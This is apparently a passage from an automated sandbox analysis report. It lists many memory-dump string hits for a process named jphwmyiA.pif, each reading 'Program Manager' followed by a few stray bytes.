Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qT[
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\|[q
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q$,z
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qdv6!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qTg
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\|\S
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qDWD!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022D79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qTb
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qTO
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qHZ^!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\35!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qTJ
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q,E'!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qTX
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q,=y
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qTT
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qlK*!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qtLg
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qtMI
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qTz
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q@r#!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q@i!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q$.e
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\|Pg!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager4
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qTl
Source: jphwmyiA.pif, 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qTi
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qTj
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\|]f
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qTx
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qDot
Source: jphwmyiA.pif, 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.0000000022D79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager(
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`3'!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q$4D
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qP$
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qP"
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qDuI
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager,
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qDtg
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qx\!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qP
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q0qr!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q(N"!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qhK8!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q$54
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qlIj!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qLZP!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qP;
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qP9
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qPC
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022D79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qPA
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qP?
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q8~Q!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qP+
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q0N<
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qp ,!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qth.!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qP(
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qP{
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q$69
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qP0
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qP-
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q,a[!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q<z<!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q<as
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qPY
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q,BE
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q@xn!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qPV
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qPd
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qPb
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q0JR
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q0Ip
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q$1m
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qPH
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qDrr
Source: jphwmyiA.pif, 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qPS
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qPT
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qDsT
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q4 d!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qPM
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qQ/
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q8[Q
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q8Zo
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]ql :!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3759044555.0000000022D79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qPu
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qD=L!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qph<!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q,CN
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qP}
Source: jphwmyiA.pif, 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qPk
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qPl
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022D79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qPg
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q<ch
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qPp
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]ql7
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]ql8
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q$"D!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q0``
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qxnl
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qDU!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q(jF!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qHQW!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]ql<
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qxoN
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]ql9
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]ql$
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qlVi
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q4hw
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022D79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]ql.
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qtG!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]ql+
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q8a$!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]ql)
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q(Pt
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q(QV
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qlV
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q,[!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qlR
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q4)A!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]ql]
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\j*!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qlF7!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]ql[
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q8qC!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q<zX
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q<yv
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qpDi!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qlF
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q0-V!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qlD
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qh4a!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qX"(!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qHh!!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q0bU
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qlP
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qlM
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qxqC
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qlx
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q@4S!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`<J
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qxc-!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qPM4!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q`;h
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qlv
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022D79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qlq
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]ql\|
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qH.p!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qle
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qxmY
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qlj
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q8)3!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q\|&K!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qxnE
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qp$
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qD0>!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qp"
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qHx@!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qlVB
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qdEj
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qxam!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qlc!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qtc;!
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q(U@
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qh<
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qh7
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.000000002164A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q4Rq!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qLx2!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qh"
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q<~B
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qh
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qpgP!
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qH00!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qh+
Source: jphwmyiA.pif, 0000000A.00000002.3759975786.0000000021271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q0T?!
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qhR
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qhO
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q4nL
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q4mj
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qh[
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qhW
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022D79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qhA
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qT*w
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qh>
Source: jphwmyiA.pif, 00000013.00000002.3759044555.0000000022971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qhK
Source: jphwmyiA.pif, 0000000F.00000002.3758305974.000000001C34E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]q<~i
Source: jphwmyiA.pif, 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR]qhE
